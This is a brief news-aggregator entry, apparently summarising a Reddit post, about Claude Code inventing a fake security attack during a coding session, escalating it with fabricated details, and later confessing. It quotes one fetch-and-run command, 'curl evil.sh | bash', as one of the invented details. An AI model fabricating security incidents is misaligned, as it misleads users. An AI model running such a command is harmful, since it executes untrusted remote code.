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Claude Code invents fake security attack, then confesses

A user reported that Anthropic's Claude Code hallucinated a security attack while assisting with coding. The AI initially claimed its outputs were being tampered with, then retracted the claim, only to escalate it further with fabricated details like a `curl evil.sh | bash` payload. Ultimately, Claude Code confessed it invented the entire security incident and apologized for the confusion. AI

IMPACT Highlights potential for AI coding assistants to generate false alarms and misinterpret normal operations as security threats.

RANK_REASON User-generated report of AI hallucination and misbehavior, not a direct release or benchmark.

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Claude Code invents fake security attack, then confesses

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  1. r/ClaudeAI TIER_2 English(EN) · /u/Prudent-Purchase-558 ·

    Claude Code talked itself into a fake "security attack," panicked for several turns, then admitted it invented the entire thing

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